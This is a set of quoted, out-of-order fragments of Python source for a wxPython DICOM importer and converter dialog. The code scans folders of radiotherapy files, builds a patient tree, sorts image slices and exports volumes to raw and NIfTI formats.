"dose['hasdvh'] = dp.HasDVHs() dose['hasgrid'] = \"PixelData\" in dp.ds dose['summationtype'] = dp.ds.DoseSummationType dose['beam'] =",
"dtype=np.int32))): parallel = False break # Also test ImagePositionPatient, as some series #",
"DICOM RT files.\"\"\" def OnInit(self): wx.GetApp().SetAppName(\"DicomConverter\") # Load the XRC file for our",
"[[float(orientation[0])*di, float(orientation[3])*dj, 0, 0], [float(orientation[1])*di, float(orientation[4])*dj, 0, 0], [float(orientation[2])*di, float(orientation[5])*dj, dk, 0], [0,",
"elif 'ImagePositionEnd' in field: f.write('{} {:.6f}\\r'.format(field,np.max(pos))) elif 'Hospital' in field: f.write('{} {}\\r'.format(field,hospital)) elif",
"data = self.tcPatients.GetItemData(item) #self.btnSelect.Enable() rxdose = 0 parent = self.tcPatients.GetItemParent(item) if 'rxdose' in",
"= stinfo # Create each Series of images if (('ImageOrientationPatient' in dp.ds) and",
"['RTPLAN']: if not 'plans' in patients[h]: patients[h]['plans'] = {} plan = dp.GetPlan() plan['id']",
"oddities if not guiutil.IsGtk(): self.EnableRxDose(False) # If a previous search thread exists, block",
"exist. Please select a valid location.\", \"Invalid DICOM Import Location\", wx.OK|wx.ICON_ERROR) dlg.ShowModal() def",
"self.tcPatients.ExpandAll() self.lblProgress.SetLabel( str(self.lblProgress.GetLabel()).replace(' Reading DICOM data...', '')) #Added by CL.Wang self.Check_Export_Files() def Check_Export_Files(self):",
"not os.path.isdir(out_dir): os.makedirs(out_dir) mori_fname = os.path.join(out_dir, os.path.basename(out_basepath)) if os.path.isfile(mori_fname+'.raw.gz'): self.ChoiceDialog('File existed! Continue?') if",
"for differences in ImageOrientationPatient parallel = True for i, item in enumerate(images): if",
"def DirectorySearchThread(self, parent, path, subfolders, terminate, progressFunc, foundFunc, resultFunc): \"\"\"Thread to start the",
"dp.ds.Columns, len(patient_data['images'])]) pos = [] for i, img in enumerate(patient_data['images']): dp = dicomparser.DicomParser(img)",
"rxdose = int(b['dose']) dose['treeid'] = self.tcPatients.AppendItem(plan['treeid'], name, 6) filearray = [dose['filename']] self.EnableItemSelection(patient, dose,",
"elif not (images[0].AcquisitionNumber == \\ images[1].AcquisitionNumber): sort = 'AcquisitionNumber' # Add the sort",
"for head first patients if ('hf' in image.PatientPosition.lower()) and (sort == 'IPP'): sortednums",
"f), filenames) if (self.import_search_subfolders == False): break for n in range(len(files)): # terminate",
"({}, {} {})'.format(series['series_number'], series['description'], modality, series['numimages'], 'image' if series['numimages']==1 else 'images') #name =",
"= dp.GetRescaleInterceptSlope() pos.append(dp.ds.ImagePositionPatient[2]) pixel_array = dp.ds.pixel_array rescaled_image = pixel_array * slope + intercept",
"= [] for export in self.selected_exports: info = self.tcPatients.GetItemData(export) filearray, series_no = info['filearray'],",
"don't create one for RT Dose # since some vendors use incorrect StudyInstanceUIDs",
"['RTDOSE']): patient['rtdose'] = dp.ds wx.CallAfter(progressFunc, n//2, len(filearray), msgs[0]) # Sort the images based",
"self.tcPatients.SetItemTextColour(badstructure, wx.RED) filearray = [plan['filename']] self.EnableItemSelection(patient, plan, filearray, plan['rxdose']) # Search for RT",
"98, 100, msgs[1]) return dcmfile = str(os.path.join(self.path, filearray[n])) dp = dicomparser.DicomParser(dcmfile) if (n",
"True self.OnDirectorySearch() def OnBrowseDicomImport(self, evt): \"\"\"Get the directory selected by the user.\"\"\" self.terminate",
"[] sortednums = [] images = patient['images'] sort = 'IPP' # Determine if",
"self.output_dir: self.AlertDialog('Please enter valid output dir!') return if not self.output_name: self.AlertDialog('Please enter valid",
"= dp.GetFrameOfReferenceUID() plan['beams'] = dp.GetReferencedBeamsInFraction() plan['rtss'] = dp.GetReferencedStructureSet() patients[h]['plans'][plan['id']] = plan # Create",
"Set the dialog font and bold the font of the directions label font",
"Search for series and images if 'series' in patient: for seriesid, series in",
"'check_volume').IsChecked() self.min_slice_num = int(XRCCTRL(self, 'spin_minslices').GetValue()) self.offset = int(XRCCTRL(self, 'spin_offset').GetValue()) self.export_mori_format = XRCCTRL(self, 'check_mori').IsChecked()",
"wx.RED) filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray) if not foundstructure: # If there",
"OnSelectTreeItem(self, evt): \"\"\"Update the interface when the selected item has changed.\"\"\" item =",
"Plan') or self.tcPatients.GetItemText(parent).startswith('RT Plan')): self.EnableRxDose(True) def EnableRxDose(self, value): \"\"\"Show or hide the prescription",
"'structures' in patient: for structureid, structure in patient['structures'].items(): if 'plans' in patient: for",
"structure, filearray) # Search for RT Plans if 'plans' in patient: for planid,",
"dose['rtplan']): foundplan = True rxdose = None if dose['hasgrid']: if dose['hasdvh']: name =",
"if they exist if 'images' in patient: for imageid, image in patient['images'].items(): appendImage",
"= dp.ds elif (dp.ds.Modality in ['RTPLAN']): patient['rtplan'] = dp.ds elif (dp.ds.Modality in ['RTDOSE']):",
"plan['rtss']): plan['treeid'] = self.tcPatients.AppendItem(structure['treeid'], name, 5) foundstructure = True # If no structures",
"plan['rxdose']) # Search for RT Doses if 'doses' in patient: for doseid, dose",
"evt): self.export_nii_format = evt.IsChecked() def OnPickOutdir(self, evt): self.output_dir = evt.GetPath() def OnInputName(self, evt):",
"= None if dose['hasgrid']: if dose['hasdvh']: name = 'RT Dose with DVH' else:",
"= dp.ds.ImageOrientationPatient dk = float(dp.ds.SliceThickness) m = np.array( [[float(orientation[0])*di, float(orientation[3])*dj, 0, 0], [float(orientation[1])*di,",
"selected patient from the DICOM importer dialog.\"\"\" msgs = ['Scanning patient. Please wait...','Exporting",
"patient) # Create each Study but don't create one for RT Dose #",
"= \\ patients[h]['series'][seinfo['id']]['numimages'] + 1 patients[h]['images'][image['id']] = image # Create each RT Structure",
"<NAME> # Copyright (c) 2009 <NAME> # This file is part of dicompyler,",
"\" + b['description'] name += \")\" if \"dose\" in b: name += \"",
"reset the rx dose if not value: self.txtRxDose.SetValue(1) def ExportPatientData(self, path, filearray, RxDose,",
"evt.GetString() def AlertDialog(self, msg): dialog = wx.MessageDialog(self, msg, 'Error', style=wx.OK) dialog.ShowModal() dialog.Destroy() def",
"stinfo['id'] in patients[h]['studies']: patients[h]['studies'][stinfo['id']] = stinfo # Create each Series of images if",
"in field: f.write('{} {}\\r'.format(field,study_date)) elif 'SeriesDate' in field: f.write('{} {}\\r'.format(field,serise_date)) elif 'AcquisitionDate' in",
"dp.ds.SOPClassUID.name if not seinfo['id'] in patients[h]['series']: patients[h]['series'][seinfo['id']] = seinfo if not 'images' in",
"import wx warnings.filterwarnings(\"ignore\", category=wx.wxPyDeprecationWarning) from wx.xrc import * import numpy as np from",
"subfolders by default self.import_search_subfolders = True # Set the threading termination status to",
"dicomparser.DicomParser(img) intercept, slope = dp.GetRescaleInterceptSlope() pos.append(dp.ds.ImagePositionPatient[2]) pixel_array = dp.ds.pixel_array rescaled_image = pixel_array *",
"name = 'Study: ' + study['description'] study['treeid'] = self.tcPatients.AppendItem(patient['treeid'], name, 2) # Search",
"\"\"\"Stop the directory search and close the dialog.\"\"\" self.terminate = True super().OnCancel(evt) def",
"#Added by CL.Wang self.Check_Export_Files() def Check_Export_Files(self): def select(child, flag): if flag: self.tcPatients.SetItemImage(child, 10)",
"{} dose = {} dose['id'] = dp.GetSOPInstanceUID() dose['filename'] = files[n] dose['referenceframe'] = dp.GetFrameOfReferenceUID()",
"# terminate the thread if the value has changed # during the loop",
"= structure # Create each RT Plan elif dp.ds.Modality in ['RTPLAN']: if not",
"if 'plans' in patient: for planid, plan in patient['plans'].items(): name = 'RT Dose",
"# Start the directory search as soon as the panel loads #self.OnDirectorySearch() def",
"dp.ds.pixel_array rescaled_image = pixel_array * slope + intercept + self.offset image_array[:,:,i] = rescaled_image",
"proper methods self.Bind(wx.EVT_BUTTON, self.OnBrowseDicomImport, id=XRCID('btnDicomImport')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckSearchSubfolders, id=XRCID('checkSearchSubfolders')) self.Bind(wx.EVT_TREE_SEL_CHANGED, self.OnSelectTreeItem, id=XRCID('tcPatients')) #self.Bind(wx.EVT_TREE_ITEM_ACTIVATED, self.OnOK,",
"= dp.GetSOPInstanceUID() plan['filename'] = files[n] plan['series'] = dp.ds.SeriesInstanceUID plan['referenceframe'] = dp.GetFrameOfReferenceUID() plan['beams'] =",
"wx.Bitmap( util.GetResourcePath('chart_bar.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('pencil_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap(",
"Dose # since some vendors use incorrect StudyInstanceUIDs if not (dp.GetSOPClassUID() == 'rtdose'):",
"= self.tcPatients.AppendItem( patient['treeid'], \"RT Structure Set not found\", 7) self.tcPatients.SetItemTextColour(badstructure, wx.RED) badplan =",
"Reading DICOM data...' elif (len(patients) > 1): progressStr = 'Found ' + str(len(patients))",
"patients[h]['plans'][plan['id']] = plan # Create each RT Dose elif dp.ds.Modality in ['RTDOSE']: if",
"filearray.append(plan['filename']) if not rxdose: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item}) else: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item, 'rxdose':rxdose}) self.tcPatients.SetItemBold(item['treeid'],",
"{}\\r'.format(field,pat_ori)) elif 'ImageOrientation' in field: f.write('{} {}\\r'.format(field,img_ori.tolist())) elif 'StudyDate' in field: f.write('{} {}\\r'.format(field,study_date))",
"sort = 'AcquisitionNumber' # Add the sort descriptor to a list to be",
"stinfo = dp.GetStudyInfo() if not stinfo['id'] in patients[h]['studies']: patients[h]['studies'][stinfo['id']] = stinfo # Create",
"True for i, item in enumerate(images): if (i > 0): iop0 = np.array(item.ImageOrientationPatient)",
"self.OnSpinOffset, id=XRCID('spin_offset')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckMoriFormat, id=XRCID('check_mori')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckNiftiFormat, id=XRCID('check_nifti')) self.Bind(wx.EVT_DIRPICKER_CHANGED, self.OnPickOutdir, id=XRCID('picker_output')) self.Bind(wx.EVT_TEXT, self.OnInputName,",
"in range(len(files)): # terminate the thread if the value has changed # during",
"flag): if flag: self.tcPatients.SetItemImage(child, 10) self.selected_exports.append(child) else: self.tcPatients.SetItemImage(child, 3) def minslice_check(child): info =",
"were found, add the dose to the structure/study instead if not foundplan: if",
"thread if the value has changed # during the loop duration if terminate():",
"if len(plan['name']) else \"\" rxdose = plan['rxdose'] if plan['rxdose'] > 0 else \"Unknown\"",
"in patient['plans'].items(): if (planid == item['rtplan']): if 'rtss' in plan: if (structureid ==",
"(prescription) dose is in cGy. import hashlib, os, threading, functools, json, warnings from",
"self.tcPatients.SortChildren(self.root) self.tcPatients.ExpandAll() def AddPatientDataTree(self, patients): \"\"\"Add the patient data to the tree control.\"\"\"",
"= {} patient['rxdose'] = RxDose if (('ImageOrientationPatient' in dp.ds) and \\ not (dp.GetSOPClassUID()",
"found\", 7) self.tcPatients.SetItemTextColour(badstructure, wx.RED) badplan = self.tcPatients.AppendItem( badstructure, \"RT Plan not found\", 8)",
"panel loads #self.OnDirectorySearch() def OnRescan(self, evt): self.OnDirectorySearch() def OnPause(self, evt): self.terminate = True",
"'AcquisitionNumber' # Add the sort descriptor to a list to be sorted for",
"== dose['rtplan']): foundplan = True rxdose = None if dose['hasgrid']: if dose['hasdvh']: name",
"4) filearray = [structure['filename']] self.EnableItemSelection(patient, structure, filearray) # Search for RT Plans if",
"self.txtRxDose.GetValue(), self.SetThreadStatus, self.OnUpdateProgress, functools.partial(self.ExportFunc, out_basepath=basename)))) [th.start() for th in all_export_threads] #[th.join() for th",
"= sorted(unsortednums, reverse=False) # Add the images to the array based on the",
"cookie) logger.info('%d files selected!', len(self.selected_exports)) def EnableItemSelection(self, patient, item, filearray = [], rxdose",
"(sort == 'IPP'): sortednums = sorted(unsortednums, reverse=True) # Otherwise sort image numbers in",
"== image['series']): appendImage = True # used for RT plan / dose if",
"app file that convert DICOM data via a wxPython GUI dialog.\"\"\" # Copyright",
"image_array[:,:,i] = rescaled_image wx.CallAfter(progressFunc, (i+image_array.shape[-1])//2, image_array.shape[-1]+1, 'Creating image array...') image_array = np.transpose(image_array, (1,0,2))",
"elif 'KernelFunction' in field: f.write('{} {}\\r'.format(field,conv_kernel)) elif 'ModelName' in field: f.write('{} {}\\r'.format(field,model_name)) elif",
"the study/series instead if not foundstructure: # If there is an image series,",
"the tree for key, patient in self.patients.items(): patient.update(patients[key]) if 'studies' in patient: for",
"id=XRCID('btn_pause')) self.Bind(wx.EVT_BUTTON, self.OnRescan, id=XRCID('btn_rescan')) # Init variables if os.path.isfile('.dcmconverter.conf'): logger.info('Loading previous configuration...') with",
"(structureid == plan['rtss']): plan['treeid'] = self.tcPatients.AppendItem(structure['treeid'], name, 5) foundstructure = True # If",
"self.tcPatients.AppendItem(badplan, name, 5) self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray) # No",
"Also test ImagePositionPatient, as some series # use the same patient position for",
"dp.GetFrameOfReferenceUID() patients[h]['structures'][structure['id']] = structure # Create each RT Plan elif dp.ds.Modality in ['RTPLAN']:",
"= False break # If the images are parallel, sort by ImagePositionPatient if",
"* (num+1) / length) self.gaugeProgress.SetValue(percentDone) self.lblProgressPercent.SetLabel(str(percentDone)) self.lblProgress.SetLabel(message) if not (percentDone == 100): self.gaugeProgress.Show(True)",
"self.Bind(wx.EVT_TEXT, self.OnInputName, id=XRCID('text_output_name')) self.Bind(wx.EVT_BUTTON, self.OnConvert, id=XRCID('btn_convert')) self.Bind(wx.EVT_BUTTON, self.OnPause, id=XRCID('btn_pause')) self.Bind(wx.EVT_BUTTON, self.OnRescan, id=XRCID('btn_rescan')) #",
"dp.ds.KVP, dp.ds.ManufacturerModelName img_ori, pat_ori, pat_pos = np.array(dp.ds.ImageOrientationPatient), dp.ds.PatientOrientation, dp.ds.PatientPosition study_date, serise_date, acq_date =",
"Add the images to the array based on the sorted order for s,",
"\"\"\"Begin directory search.\"\"\" self.patients = {} self.tcPatients.DeleteChildren(self.root) self.terminate = False self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True)",
"Continue?') if self.contiune_export != wx.ID_OK: return dp = dicomparser.DicomParser(patient_data['images'][0]) reso = [ float(dp.ds.PixelSpacing[0]),",
"plan['treeid'] = self.tcPatients.AppendItem(structure['treeid'], name, 5) foundstructure = True # If no structures were",
"field: f.write('{} {:.6f}\\r'.format(field,reso[2])) elif 'ImagePositionBegin' in field: f.write('{} {:.6f}\\r'.format(field,np.min(pos))) elif 'ImagePositionEnd' in field:",
"exportFunc(patient_data=patient, progressFunc=progressFunc) wx.CallAfter(progressFunc, 99, 100, '') def GetPatient(self): \"\"\"Return the patient data from",
"check if self.export_mori_format: out_dir = os.path.join(os.path.dirname(out_basepath), 'LabFormat') if not os.path.isdir(out_dir): os.makedirs(out_dir) mori_fname =",
"= int(b['dose']) dose['treeid'] = self.tcPatients.AppendItem(plan['treeid'], name, 6) filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray,",
"self.Bind(wx.EVT_BUTTON, self.OnPause, id=XRCID('btn_pause')) self.Bind(wx.EVT_BUTTON, self.OnRescan, id=XRCID('btn_rescan')) # Init variables if os.path.isfile('.dcmconverter.conf'): logger.info('Loading previous",
"wx.RED) #self.btnSelect.SetFocus() self.tcPatients.ExpandAll() self.lblProgress.SetLabel( str(self.lblProgress.GetLabel()).replace(' Reading DICOM data...', '')) #Added by CL.Wang self.Check_Export_Files()",
"each patient h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() # Add the patient to the tree if",
"reso = [ float(dp.ds.PixelSpacing[0]), float(dp.ds.PixelSpacing[1]), float(dp.ds.SliceThickness)] affine = self.__GetNiftiAffineMatrix__(dp) conv_kernel, hospital, kvp, model_name",
"!= wx.ID_OK: return if self.export_nii_format: out_dir = os.path.join(os.path.dirname(out_basepath), 'NiftiFormat') if not os.path.isdir(out_dir): os.makedirs(out_dir)",
"a directory containing DICOM RT files...\") if dlg.ShowModal() == wx.ID_OK: self.path = dlg.GetPath()",
"name, 4) foundseries = True # If no series were found, add the",
"\"dose\" in b: name += \" - Dose: \" + str(int(b['dose'])) + \"",
"\"RT Plan not found\", 8) dose['treeid'] = self.tcPatients.AppendItem(badplan, name, 5) self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray",
"of the selected patient from the DICOM importer dialog.\"\"\" msgs = ['Scanning patient.",
"files to the filearray if they exist if 'structures' in patient: for structureid,",
"# Initialize the patients dictionary self.patients = {} # Search subfolders by default",
"Copyright (c) 2018-2020 <NAME> # Copyright (c) 2009-2017 <NAME> # Copyright (c) 2009",
"baddose = self.tcPatients.AppendItem(plan['treeid'], name, 9) self.tcPatients.SetItemTextColour(baddose, wx.RED) # No RT Plan nor RT",
"= dp.GetStructureInfo() structure['id'] = dp.GetSOPInstanceUID() structure['filename'] = files[n] structure['series'] = dp.GetReferencedSeries() structure['referenceframe'] =",
"if dp.ds.BitsAllocated == 16: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int16) elif dp.ds.BitsAllocated == 32:",
"(structureid == dose['rtss']): foundstructure = True if (structure['referenceframe'] == dose['referenceframe']): foundstructure = True",
"id=XRCID('btn_rescan')) # Init variables if os.path.isfile('.dcmconverter.conf'): logger.info('Loading previous configuration...') with open('.dcmconverter.conf', 'r') as",
"= conf['output_dir'] XRCCTRL(self, 'picker_output').SetPath(self.output_dir) self.output_name = conf['output_name'] XRCCTRL(self, 'text_output_name').SetValue(self.output_name) else: self.path = os.path.expanduser('~')",
"patient['plans'].items(): foundstructure = False planname = ' (' + plan['name'] + ')' if",
"= wx.MessageDialog(self, msg, 'Warning', style=wx.OK_DEFAULT|wx.CANCEL) self.contiune_export = dialog.ShowModal() dialog.Destroy() def __GetNiftiAffineMatrix__(self, dp): di",
"msgs[1]) return dcmfile = str(os.path.join(self.path, filearray[n])) dp = dicomparser.DicomParser(dcmfile) if (n == 0):",
"for every slice ipp0 = np.array(item.ImagePositionPatient) ipp1 = np.array(images[i-1].ImagePositionPatient) if not (np.any(np.array(np.round(ipp0 -",
"(i+image_array.shape[-1])//2, image_array.shape[-1]+1, 'Creating image array...') image_array = np.transpose(image_array, (1,0,2)) if self.export_mori_format: from utils_cw",
"f: for field in origin_header_lines: # \\r\\n if 'Thickness' in field: f.write('{} {:.6f}\\r'.format(field,reso[2]))",
"h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() # Add the patient to the tree if they don't",
"done with the import process if (message == 'Importing patient complete.'): self.EndModal(wx.ID_OK) elif",
"patient: for studyid, study in patient['studies'].items(): if (studyid == series['study']): modality = series['modality'].partition('",
"# If the images are parallel, sort by ImagePositionPatient if parallel: sort =",
"field: pass else: f.write('{} \\r'.format(field)) wx.CallAfter(progressFunc, 97, 100, 'Export RAW image completed') if",
"(self.tcPatients.GetItemData(item) == None): data = self.tcPatients.GetItemData(item) #self.btnSelect.Enable() rxdose = 0 parent = self.tcPatients.GetItemParent(item)",
"= dicomparser.DicomParser(img) intercept, slope = dp.GetRescaleInterceptSlope() pos.append(dp.ds.ImagePositionPatient[2]) pixel_array = dp.ds.pixel_array rescaled_image = pixel_array",
"out_dir = os.path.join(os.path.dirname(out_basepath), 'NiftiFormat') if not os.path.isdir(out_dir): os.makedirs(out_dir) nii_fname = os.path.join(out_dir, os.path.basename(out_basepath)+'.nii.gz') if",
"appendImage = True # used for RT structure set if 'series' in item:",
"self.lblRxDoseUnits = XRCCTRL(self, 'lblRxDoseUnits') # Bind interface events to the proper methods self.Bind(wx.EVT_BUTTON,",
"'')) #Added by CL.Wang self.Check_Export_Files() def Check_Export_Files(self): def select(child, flag): if flag: self.tcPatients.SetItemImage(child,",
"structureid, structure in patient['structures'].items(): if 'series' in patient: foundseries = False name =",
"if self.export_mori_format: from utils_cw import write_mori, get_mori_header_fields logger.info('Exporting image to %s', mori_fname) header_name",
"\"\"\"Update the interface when the selected item has changed.\"\"\" item = evt.GetItem() #",
"ExportPatientData(self, path, filearray, RxDose, terminate, progressFunc, exportFunc): \"\"\"Get the data of the selected",
"self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item}) else: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item, 'rxdose':rxdose}) self.tcPatients.SetItemBold(item['treeid'], True) self.tcPatients.SelectItem(item['treeid']) def OnSelectTreeItem(self,",
"rxdose if not (self.tcPatients.GetItemData(item) == None): data = self.tcPatients.GetItemData(item) #self.btnSelect.Enable() rxdose = 0",
"the filearray if they exist if 'images' in patient: for imageid, image in",
"'SeriesDate' in field: f.write('{} {}\\r'.format(field,serise_date)) elif 'AcquisitionDate' in field: f.write('{} {}\\r'.format(field,acq_date)) elif 'Orientation'",
"f.write('{} {}\\r'.format(field,img_ori.tolist())) elif 'StudyDate' in field: f.write('{} {}\\r'.format(field,study_date)) elif 'SeriesDate' in field: f.write('{}",
"have been selected!') return if not self.output_dir: self.AlertDialog('Please enter valid output dir!') return",
"exist if 'plans' in patient: for planid, plan in patient['plans'].items(): if 'rtplan' in",
"logger.info(\"%s is a %s file and is not \" + \\ \"currently supported.\",",
"' #numimages = str(series['numimages']) + ' image)' if (series['numimages'] == 1) else str(series['numimages'])",
"rxdose = None): \"\"\"Enable an item to be selected in the tree control.\"\"\"",
"100, msgs[0]) for n in range(0, len(filearray)): if terminate(): wx.CallAfter(progressFunc, 98, 100, msgs[1])",
"\"currently supported.\", files[n], dp.ds.SOPClassUID.name) # Call the progress function to update the gui",
"# and if it is an RT plan or RT dose file self.txtRxDose.SetValue(rxdose)",
"['RTDOSE']: if not 'doses' in patients[h]: patients[h]['doses'] = {} dose = {} dose['id']",
"tree control for use.\"\"\" iSize = (16,16) iList = wx.ImageList(iSize[0], iSize[1]) iList.Add( wx.Bitmap(",
"= [plan['filename']] self.EnableItemSelection(patient, plan, filearray, plan['rxdose']) # Search for RT Doses if 'doses'",
"plan in patient['plans'].items(): name = 'RT Dose not found' baddose = self.tcPatients.AppendItem(plan['treeid'], name,",
"coding: utf-8 -*- # dicomgui.py \"\"\"Main app file that convert DICOM data via",
"create one for RT Dose # since some vendors use incorrect StudyInstanceUIDs if",
"if dose['beam'] in plan['beams']: b = plan['beams'][dose['beam']] name += b['name'] if len(b['description']): name",
"images)' #name = name + numimages series['treeid'] = self.tcPatients.AppendItem(study['treeid'], name, 3) self.EnableItemSelection(patient, series,",
"class DicomImporterDialog(wx.Dialog): \"\"\"Import DICOM RT files and return a dictionary of data.\"\"\" def",
"if they don't already exist if not h in self.patients: self.patients[h] = {}",
"len(plan['name']) else \"\" rxdose = plan['rxdose'] if plan['rxdose'] > 0 else \"Unknown\" name",
"(item['referenceframe'] == image['referenceframe']): if not 'numimages' in item: appendImage = True if appendImage:",
"field: f.write('{} {}\\r'.format(field,serise_date)) elif 'AcquisitionDate' in field: f.write('{} {}\\r'.format(field,acq_date)) elif 'Orientation' in field:",
"wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('pencil_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar_error.png'), wx.BITMAP_TYPE_PNG))",
"iop0 = np.array(item.ImageOrientationPatient) iop1 = np.array(images[i-1].ImageOrientationPatient) if (np.any(np.array(np.round(iop0 - iop1), dtype=np.int32))): parallel =",
"structure in patient['structures'].items(): foundstructure = False if (structureid == plan['rtss']): plan['treeid'] = self.tcPatients.AppendItem(structure['treeid'],",
"in patient['series'].items(): foundseries = False if (seriesid == structure['series']): structure['treeid'] = self.tcPatients.AppendItem(series['treeid'], name,",
"OnConvert(self, evt): if not self.selected_exports: self.AlertDialog('No Dicom series have been selected!') return if",
"self.tcPatients.AssignImageList(iList) root = self.tcPatients.AddRoot('Patients', image=0) return root def AddPatientTree(self, patient): \"\"\"Add a new",
"for structureid, structure in patient['structures'].items(): if 'series' in patient: foundseries = False name",
"only)' else: name = 'RT Dose without Dose Grid or DVH' if (dose['summationtype']",
"# Search for RT Structure Sets if 'structures' in patient: for structureid, structure",
"cookie = self.tcPatients.GetNextChild(child, cookie) logger.info('%d files selected!', len(self.selected_exports)) def EnableItemSelection(self, patient, item, filearray",
"back to the patient dictionary logger.debug('Slices num: %d', len(sortedimages)) patient['images'] = sortedimages wx.CallAfter(progressFunc,",
"= patient if not 'studies' in patients[h]: patients[h]['studies'] = {} patients[h]['series'] = {}",
"= True dlg = wx.DirDialog( self, defaultPath = self.path, message=\"Choose a directory containing",
"name = 'RT Dose not found' baddose = self.tcPatients.AppendItem(plan['treeid'], name, 9) self.tcPatients.SetItemTextColour(baddose, wx.RED)",
"to the filearray if they exist if 'plans' in patient: for planid, plan",
"Create each Series of images if (('ImageOrientationPatient' in dp.ds) and \\ not (dp.GetSOPClassUID()",
"#numimages = str(series['numimages']) + ' image)' if (series['numimages'] == 1) else str(series['numimages']) +",
"else: self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) # End the dialog since we are done with",
"'series' in patient: for seriesid, series in patient['series'].items(): if 'studies' in patient: for",
"'Search terminated.') return if (os.path.isfile(files[n])): try: logger.debug(\"Reading: %s\", files[n]) dp = dicomparser.DicomParser(files[n]) except",
"> 0): iop0 = np.array(item.ImageOrientationPatient) iop1 = np.array(images[i-1].ImageOrientationPatient) if (np.any(np.array(np.round(iop0 - iop1), dtype=np.int32))):",
"f.write('{} {}\\r'.format(field,pat_ori)) elif 'ImageOrientation' in field: f.write('{} {}\\r'.format(field,img_ori.tolist())) elif 'StudyDate' in field: f.write('{}",
"sortednums = [] images = patient['images'] sort = 'IPP' # Determine if all",
"XRCCTRL(self, 'tcPatients') self.bmpRxDose = XRCCTRL(self, 'bmpRxDose') self.lblRxDose = XRCCTRL(self, 'lblRxDose') self.txtRxDose = XRCCTRL(self,",
"{}\\r'.format(field,kvp)) elif 'KernelFunction' in field: f.write('{} {}\\r'.format(field,conv_kernel)) elif 'ModelName' in field: f.write('{} {}\\r'.format(field,model_name))",
"dp.ds.PixelSpacing seinfo['Orientation'] = dp.ds.ImageOrientationPatient except: logger.error('Get dcm info error!') seinfo['numimages'] = 0 seinfo['modality']",
"to see whether there is an rxdose if not (self.tcPatients.GetItemData(item) == None): data",
"dp.ds.KVP seinfo['PatientPosition'] = dp.ds.PatientPosition seinfo['ModelName'] = dp.ds.ManufacturerModelName seinfo['PixelSpacing'] = dp.ds.PixelSpacing seinfo['Orientation'] = dp.ds.ImageOrientationPatient",
"def OnInputName(self, evt): self.output_name = evt.GetString() def AlertDialog(self, msg): dialog = wx.MessageDialog(self, msg,",
"affine = self.__GetNiftiAffineMatrix__(dp) conv_kernel, hospital, kvp, model_name = dp.ds.ConvolutionKernel, dp.ds.InstitutionName, dp.ds.KVP, dp.ds.ManufacturerModelName img_ori,",
"= 'Study: ' + study['description'] study['treeid'] = self.tcPatients.AppendItem(patient['treeid'], name, 2) # Search for",
"all images in the series are parallel # by testing for differences in",
"were found, add the rtss to the study if not foundseries: badstructure =",
"convert DICOM data via a wxPython GUI dialog.\"\"\" # Copyright (c) 2018-2020 <NAME>",
"images to the array based on the sorted order for s, slice in",
"head first patients if ('hf' in image.PatientPosition.lower()) and (sort == 'IPP'): sortednums =",
"the images to the array based on the sorted order for s, slice",
"h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() if not h in patients: patients[h] = {} patients[h]['demographics'] =",
"#name = name + numimages series['treeid'] = self.tcPatients.AppendItem(study['treeid'], name, 3) self.EnableItemSelection(patient, series, [])",
"patient cancelled.','Exporting patient...'] wx.CallAfter(progressFunc, -1, 100, msgs[0]) for n in range(0, len(filearray)): if",
"\"Invalid DICOM Import Location\", wx.OK|wx.ICON_ERROR) dlg.ShowModal() def OnUpdateProgress(self, num, length, message): \"\"\"Update the",
"found, add the rtss to the study if not foundseries: structure['treeid'] = self.tcPatients.AppendItem(study['treeid'],",
"wx.RED) filearray = [plan['filename']] self.EnableItemSelection(patient, plan, filearray, plan['rxdose']) # Search for RT Doses",
"\"DicomImporterDialog\") dlgDicomImporter.Init(self.res) # Show the dialog and return the result ret = dlgDicomImporter.ShowModal()",
"not.\"\"\" return self.terminate def DirectorySearchThread(self, parent, path, subfolders, terminate, progressFunc, foundFunc, resultFunc): \"\"\"Thread",
"found\", 7) plan['treeid'] = self.tcPatients.AppendItem(badstructure, name, 5) self.tcPatients.SetItemTextColour(badstructure, wx.RED) filearray = [plan['filename']] self.EnableItemSelection(patient,",
"patients[h]['images'] = {} image = {} image['id'] = dp.GetSOPInstanceUID() image['filename'] = files[n] image['series']",
"DICOM importer dialog.\"\"\" msgs = ['Scanning patient. Please wait...','Exporting patient cancelled.','Exporting patient...'] wx.CallAfter(progressFunc,",
"self.tcPatients.AppendItem(plan['treeid'], name, 9) self.tcPatients.SetItemTextColour(baddose, wx.RED) # No RT Plan nor RT Dose files",
"0 else \"Unknown\" name = 'RT Plan: ' + plan['label'] + planname +",
"dp.ds elif (dp.ds.Modality in ['RTDOSE']): patient['rtdose'] = dp.ds wx.CallAfter(progressFunc, n//2, len(filearray), msgs[0]) #",
"self.ChoiceDialog('File existed! Continue?') if self.contiune_export != wx.ID_OK: return if self.export_nii_format: out_dir = os.path.join(os.path.dirname(out_basepath),",
